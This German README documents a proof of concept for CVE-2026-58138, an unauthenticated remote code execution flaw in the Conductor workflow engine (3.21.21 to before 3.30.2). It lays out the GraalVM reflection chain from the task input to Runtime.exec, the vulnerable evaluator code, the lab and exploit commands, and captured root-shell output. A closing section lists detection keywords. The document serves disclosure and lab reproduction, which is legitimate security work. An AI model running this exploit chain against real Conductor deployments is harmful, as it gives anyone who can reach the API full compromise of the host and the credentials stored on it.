CVE-2026-58138 — Conductor (3.21.21..<3.30.2) unautorisierte RCE über INLINE GraalVM Evaluator (HostAccess.ALL). Labor + PoC, e2e verifiziert (root).
Conductor (OSS / Orkes)
3.21.21… vor3.30.2wertet benutzerbereitgestelltes JavaScript inINLINE(undLAMBDA/DO_WHILE/SWITCH) Aufgaben mit einem GraalVM-Kontext aus, der mit vollem Host-Zugriff (HostAccess.ALL) erstellt wurde. Das Skript greift per Reflection aufjava.lang.Runtimezu und führt Betriebssystembefehle aus. Die Community-API hat standardmäßig keine Authentifizierung, daher ist das Einreichen eines Workflows mit einer solchen Aufgabe eine nicht authentifizierte Remote-Codeausführung.
| CVE | CVE-2026-58138 |
| Advisory | vulncheck — Orkes Conductor uneingeschränkte RCE über GraalVM-Script-Evaluatoren |
| Betroffen | Conductor 3.21.21 … vor 3.30.2 |
| Behoben | 3.30.2 (Commits 87a7d96, c691e35) |
| Klasse | CWE-94 (Code Injection) — GraalVM Polyglot-Sandbox nicht erzwungen |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Auth | Keine (Community-API ist standardmäßig nicht authentifiziert) |
| Status | CONFIRMED — als root gegen conductoross/conductor:3.22.3 reproduziert |
Versionshinweis (lesen Sie dies). Die Evaluator-Konfiguration variiert innerhalb des betroffenen Bereichs: Versionen bis etwa
3.29.x(dieses Labor verwendet3.22.3) bauen den Kontext mit einfachemallowHostAccess(HostAccess.ALL)— die nicht gesandboxten Konfiguration, die die CVE beschreibt, und die dieses PoC direkt ausnutzt. Die3.30.0/3.30.1-Linie fügte eine partielledenyAccess(...)-Blockliste hinzu (Reflexion blockiert); der vollständige Fix (allowHostClassLoading(false)+ Engine-Härtung) kommt erst in3.30.2. Dieses PoC zielt auf die einfacheHostAccess.ALL-Konfiguration ab; es beansprucht nicht, die3.30.1-Blockliste zu umgehen.
core/.../events/ScriptEvaluator.java (≤ 3.29.x / 3.22.3):
return Context.newBuilder("js")
.allowHostAccess(HostAccess.ALL) // full host interop -> no sandbox
.build();
HostAccess.ALL erlaubt dem Skript, jede Methode/jedes Feld auf Java-Host-Objekten aufzurufen. Die
INLINE-Aufgabe bindet ihre Eingabe als $, ein echtes Java-Objekt, sodass das Skript pivotieren kann:
$.getClass().getClass() → java.lang.Class → Class.forName("java.lang.Runtime")
→ Runtime.getRuntime().exec(...). Der Python-Evaluator ist äquivalent
(Context.newBuilder("python").allowAllAccess(true)).
INLINE-Aufgabe den bösartigen expression-Code enthält
(POST /api/metadata/workflow, keine Authentifizierung).POST /api/workflow/{name}, keine Authentifizierung).INLINE-Aufgabe wertet das JS aus; die reflexive Runtime.exec führt den Befehl aus
und das PoC gibt dessen stdout als Aufgabenergebnis zurück.docker compose -f lab/docker-compose.yml up -d # conductoross/conductor:3.22.3 (in range)
# wait ~60s for the all-in-one server to boot
python3 exploit.py http://127.0.0.1:8080 -c "id; hostname"
Beobachtet:
[*] registering workflow with a malicious INLINE (javascript) task ... (no auth)
[*] started workflow id=...; reading INLINE task output ...
[+] UNAUTHENTICATED RCE CONFIRMED - command output from the Conductor host:
uid=0(root) gid=0(root) groups=0(root)
vbox
Linux 6.18.12+kali-amd64
uid=0(root) ist der Conductor-Prozessbenutzer; die Ausgabe ist der Live-id/uname-Status —
echte Ausführung, kein Echo. exploit.py verwendet nur die Python-Standardbibliothek.
Jeder, der die Conductor-API erreichen kann, führt beliebige Betriebssystembefehle (hier als root) auf dem Orchestrator-Host aus — vollständige Kompromittierung der Workflow-Engine, ihrer Persistenz/Warteschlangen und aller Systeme, die ihre Workflows und gespeicherten Anmeldeinformationen berühren.
Kennzeichnen Sie Workflow-Definitionen, deren INLINE/LAMBDA/DO_WHILE/SWITCH-Aufgaben
expression-Zeichenfolgen enthalten, die auf getClass, forName, Runtime, exec,
ProcessBuilder oder java.-Reflexion verweisen, sowie Conductor-Prozesse, die Shells starten.
Siehe ANALYSIS.md für die Reflexionskette, die Evaluator-Konfiguration über
Versionen hinweg und den Patch.